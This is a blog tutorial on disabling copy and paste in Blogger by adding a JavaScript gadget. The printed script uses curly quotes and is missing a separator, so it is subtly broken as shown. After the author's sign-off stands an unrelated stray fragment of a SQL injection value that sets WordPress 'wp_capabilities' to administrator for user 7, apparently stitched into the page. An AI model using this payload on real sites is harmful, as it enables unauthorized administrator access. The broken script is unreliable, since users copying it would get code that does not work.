12

Disable copy paste functionality in blogger using Javascript

I have already shared a post where i explained the procedure of disabling the text selection in blogger.It was my effort to provide you a way to protect your content from content thieves.Generally content thieves are the new bloggers who don’t know much about blogging and starts blogging just for making money.Today,i will share a javascript code which disables the copy-paste functionality in blogger.Without wasting your too much time,let’s start the procedure:

Easiest way to disable copy paste functionality in blogger using Javascript

How to  Disable copy paste functionality in blogger using Javascript?
Just follow the below given procedure and enjoy.
  • Log into your blogger Account.
  • Click on “Layout” option.If you have any problem then check the below given figure:

disable copy paste functionality in blogger using Javascript

  • After that click on “Add a Gadget” option.

disable copy paste functionality in blogger using Javascript

  • Select  HTML/JavaScript option .The screenshot of the same is shown below.

disable copy paste functionality in blogger using Javascript

  • Now enter the following code in the body part.

<script type=”text/javascript”>
var omitformtags=[“input”, “textarea”, “select”] omitformtags=omitformtags.join(“|”)
function disableselect(e){
if (omitformtags.indexOf(e.target.tagName.toLowerCase())==-1)
return false
}
function reEnable(){
return true
}
if (typeof document.onselectstart!=”undefined”)
document.onselectstart=new Function (“return false”)
else{
document.onmousedown=disableselect
document.onmouseup=reEnable
}
</script>

  • That’s it.Now save your Template and enjoy.The demo of the same is given below.Just visit it and try to copy the content of the article either directly or through Ctrl+C.You wouldn’t be able to do that.
From the Editor’s Desk
It is really important to protect the content of your blogger blog from content thieves otherwise they will continue copying your contents which can have negative impact.You can also do the same through CSS but i have provided you the Easiest way to disable copy paste functionality in blogger using Javascript.Just use it and enjoy.
If you are finding it difficult to use or facing any other problem in the code,feel free to ask me through comments.It would be my pleasure to assist you.
Ravi Kumar
 

a:1:{s:13:"administrator";b:1;}’ WHERE user_id=7 AND meta_key=’wp_capabilities

Click Here to Leave a Comment Below 12 comments